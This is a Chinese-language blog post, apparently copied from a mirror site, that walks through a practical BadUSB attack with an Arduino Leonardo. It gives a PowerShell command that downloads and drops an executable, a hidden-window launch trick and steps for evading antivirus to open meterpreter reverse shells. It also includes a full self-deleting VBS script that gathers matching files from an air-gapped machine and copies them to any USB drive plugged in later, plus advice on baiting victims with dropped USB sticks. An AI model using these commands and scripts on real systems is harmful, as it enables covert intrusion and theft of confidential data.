zoukankan      html  css  js  c++  java
  • 基于ArduinoLeonardo板子的BadUSB攻击实战

    0X00 前言

    在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的《利用Arduino快速制作Teensy BadUSB》无论从科普还是实践都给我们详尽的描述了BadUSB制作的相关过程,lpcdma同学的《使用arduino进行渗透测试》则通过SET与Arduino的结合进行渗透,mrzcpo同学的 《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》则介绍了获取文件的详细步骤,我在学习领悟之后想到了一些改进方案,比如绕过360主动防御,隐藏攻击行为,payload免杀,针对不联网设备攻击等,现分享如下,如有不足之处还请大佬指教。

    (为贴近实战在某宝上买了个带外壳的Leonardo:P)

    0X01 绕过360主动防御

    输入Powershell命令

    powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://127.0.0.1/PUTTY.EXE';$file = ' D:\x.exe ';$clnt.DownloadFile($url,$file);

    这个命令的意思大体是从服务器(这里是本地web服务器)下载EXE到D盘上,但是直接输入360会弹框:

    这显然会引起用户注意:-O,而在之前文章中并未提及,可能是在未装杀软的虚拟机中运行的。因为此处不可以通过操控键盘,用先按左键,再按回车的方法实现“允许程序运行”,想到用模拟鼠标的操作完成两次点击,然而比较难以操控,后发现可以通过分步完成绕过:P

    注意在实际操作中不要把文件下载到C盘中,那样还需要一个管理员权限,比较麻烦

    0X02最大化隐蔽操作

    在调出运行窗口后输入

    cmd /c start /min powershell -w hidden

    /c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start /min是最小化窗口运行命令,可以避免弹出powershell的蓝框,-w hidden是让powershell以隐蔽的模式运行,此时仍可以输入命令,但不会出现对话框,这样就可以让命令运行尽可能的隐蔽了:P

    当然是为了装个小X,做演示的话就可以先不管这些了,不过从实战角度出发,还是低调为妙:P

    0X03免杀Payload

    在完成了文件下载之后我们就思考如何拿到shell,此时有两种方式

    对msf攻击负荷的免杀处理

    在Kali2.0里面msfpayload和msfencode合二为一成为了msfvenom(venom:毒液(⊙o⊙))

    -p指定负荷类型,后面是参数,-f指定输出格式,-x指定自义定的模板,这里用Putty.exe,-e指定编码格式,-i指定编码次数,-o指定输出位置(msfvenom可能由于集成了两个功能,导致不能多重编码||=_=)

    再用upx进行加壳处理,-9指定以最高等级加壳,最低为1

    然而还是被干掉了(;′⌒`)但即使用BT5里面带的msfencode进行多次编码也只能过部分杀软,而且一旦木马被收录360云端就永久失效了,我们找一种现在看起来更好的方法:P

    SET工具集中的Powershell攻击向量

    直接下载msf生成的Payload即使花式编码也难免被高启发、云查杀、沙箱检测等手段干掉,所以通过强大的Powershell来建立反向连接是不错的选择,然而在SET工具包中Arduion-Based Attack Vector还针对的是Teensy,并不能直接在Leonardo上使用,故需通过SET中Powershell Attack Vector来实现目的

    然后会打开一个MSF的Reverse_TCP Listener

    此时只需要在靶机上运行SET生成的Payload即可(初始生成的是txt,后缀改为bat即可)可以看到打开了一个meterpreter连接:P

    TheFatRat

    Screetsec组织新出了一个TheFatRat,可以生成免杀的Payload,也是使用的Powershell+bat进行攻击我们来看一下效果:P生成步骤:

    生成的test.bat可以过360

    同时还能过大多数AV(只有一家报了毒):P

    成功打开meterpreter会话:P

    尝试后发现[2]Create exe file with c# + Powershell产生的exe文件会在一会后报毒,也许可以用,但还是会引起被控者警觉,看来Powershell,bat这样Windows组件好啊,作为系统组件不可能被查杀;文件小巧而又有底层支持,从而功能强大;驱动脚本非PE从而难以以静态方法查杀;而且大多数Windows电脑并没有禁用Powershell,故成为当今病毒界大红大紫的人物:P

    0X04针对不联网设备攻击

    我们知道许多机密场合计算机都是不联网的,对此我们只能通过USB带出资料,而可惜的是现有BadUSB设备并无存储功能-_-||(也许可以订制),所以只能通过摆渡攻击实现,第一次导入代码自动搜索想要的文件,打包压缩,并在检测到有U盘插入时将文件传入U盘,此VBS代码在后台运行,等待时机,先用Arduino Leanardo传入代码,再用另一个U盘取出文件。

    vbs代码实现如下,主要功能是通过模糊查询找到想要的文件,放到D:fn(fileneeded)文件夹下,压缩后删除原文件并等待U盘插入,插入后将fn.rar传入U盘并删除目标电脑中的fn.rar和VBS脚本

    On Error Resume Next
    
    '查找指定的文件
    
    '纯vbs的话要递归遍历所有文件夹,比较麻烦,可以和cmd结合起来用
    
    targetfile="*flag*.txt" '改成你要找的文件名,进行模糊查询
    
    Set WshShell = WScript.CreateObject("Wscript.Shell")
    
    Set fso = WScript.CreateObject("Scripting.Filesystemobject")
    
    tempfile=WScript.ScriptName&"_temp.txt" '存找到的文件目录的临时文件
    
    wshshell.Run "cmd /c dir d:"&targetfile&"/b /s>"&tempfile,0,True
    
    Set f=fso.GetFile(tempfile)
    
    If f.Size>0 Then
    
    'dir找到目标文件时会向tempfile中写入数据,
    
        Set ft=fso.OpenTextFile(tempfile,1)
    
        fso.CreateFolder "d:fn"
    
        Do Until ft.AtEndOfStream '可能会找到多个文件,故需要读每一行的数据
    
            line=ft.ReadLine '读入一行
    
            fso.CopyFile line,"d:fn",false
    
        Loop
    
        ft.Close
    
    End If
    
    fso.DeleteFile(tempfile)'删除生成的临时文件
    
    '压缩文件
    
    des="d:fn.rar"
    
    sou="d:fn"
    
    WshShell.Run "cd C:Program FilesWinRAR ",0,True
    
    WshShell.Run "winrar m -r -epl -ibck "& Chr(34)&des&Chr(34)&" "&Chr(34)&sou&chr(34),0,True
    
    ' 实现后台压缩完后删除原文件 ,Chr(34)为解决双引号里面套双引号的问题
    
    '检测有无U盘插入并将压缩包发到U盘中
    
    dim dc,d,flag
    
    flag=0
    
    do
    
    if flag=1 then exit do
    
    Set dc = fso.Drives
    
    For Each d in dc
    
          If d.DriveType = 1 Then
    
            If u="" Then
    
                u=d.DriveLetter
    
                add = u&":/"            
    
                fso.CopyFile "d:fn.rar",add,false '复制文件到u盘
    
                flag = 1
    
            End if
    
          u=""
    
          End if
    
    WScript.Sleep 5000 
    
    Next
    
    loop
    
    WScript.Sleep 10000
    
    fso.DeleteFile "d:fn.rar" '删除压缩包
    
    fso.DeleteFile(WScript.ScriptFullName)'自删除

    不过当今各种杀软对VBS脚本是严防死守,很多正常功能都报毒,没有高超的VBS免杀技术恐怕是难以完成了。或许可以寄托于不联网的机器松于防备,没装AV…,不过不联网的电脑多半是放绝密信息的,要是你能偷到就可以吃枪子了||+_+。不知道你下辈子还想不想干黑客,如果可能的话十五年后你又是一条好汉:P

    结语

    在实战中还可以通过仔细选择USB投掷地点,选择或卡哇伊或猥琐的U盘外壳,或在USB上贴上虚构的联系方式,“捡到请归还”等标签增加迷惑性,总之不要低估人类愚蠢的好奇心就好:P

    最后的最后,尽管在《超限战》中说道“一切可以帮助人类的东西皆可加害于人类”,但我更想说的是:反之,亦然 !那些伤害人类的东西会让我们变得更加坚强,愿以此文以攻促防,为网络空间的安全添砖加瓦!

    本文存在攻击性,请勿用于非法用途,一切责任与本人无关。

  • 相关阅读:
    WPF 使用 Direct2D1 画图 绘制基本图形
    WPF 使用 Direct2D1 画图 绘制基本图形
    dot net core 使用 IPC 进程通信
    dot net core 使用 IPC 进程通信
    win2d 图片水印
    win2d 图片水印
    Java实现 LeetCode 240 搜索二维矩阵 II(二)
    PHP closedir() 函数
    PHP chroot() 函数
    PHP chdir() 函数
  • 原文地址:https://www.cnblogs.com/k1two2/p/6707013.html
Copyright © 2011-2022 走看看